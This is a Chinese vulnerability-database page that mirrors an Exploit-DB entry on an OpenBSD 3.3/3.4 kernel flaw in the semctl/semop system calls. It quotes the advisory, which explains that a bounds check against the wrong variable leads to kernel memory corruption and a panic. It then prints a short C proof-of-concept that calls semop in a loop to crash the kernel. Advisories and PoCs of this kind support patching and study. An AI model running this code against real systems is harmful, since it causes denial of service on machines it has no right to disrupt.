OpenBSD 3.3/3.4 – semctl/semop Local Unexpected Array Indexing

OpenBSD 3.3/3.4 – semctl/semop Local Unexpected Array Indexing

漏洞ID 1054263 漏洞类型
发布时间 2003-11-21 更新时间 2003-11-21
图片[1]-OpenBSD 3.3/3.4 – semctl/semop Local Unexpected Array Indexing-安全小百科CVE编号 N/A
图片[2]-OpenBSD 3.3/3.4 – semctl/semop Local Unexpected Array Indexing-安全小百科CNNVD-ID N/A
漏洞平台 OpenBSD CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23392
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/9086/info

A local OpenBSD kernel vulnerability has been discovered when handling the semctl and semop system calls. The problem specifically occurs due to improper sanity checking before handling a user-supplied semaphore set. It is said that this could lead to the corruption of kernel-based memory and may result in a kernel panic.

The problem occurs due to the affected code verifying the bounds of an integer against an incorrect variable. This could result in an unintended index into an array situated in heap memory. The value taken from the location within the array is interpreted as a pointer and later dereferenced. If a value believed to be a legitimate memory address were used, this would effectively result in a segmentation violation within the kernel, causing it to panic.

Although unconfirmed, due to the nature of this issue it has been speculated that this issue could be exploited to gain elevated system privileges. 

#include <stdio.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/ipc.h>

int
main()
{
    int i;

        for(i = 0; i < 0x40; i++)
                semop(i, (struct sembuf *) NULL, 0);

}

相关推荐: Verilink NetEngine Broadband Router TFTP Packet Remote Denial Of Service Vulnerability

Verilink NetEngine Broadband Router TFTP Packet Remote Denial Of Service Vulnerability 漏洞ID 1100373 漏洞类型 Failure to Handle Excepti…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享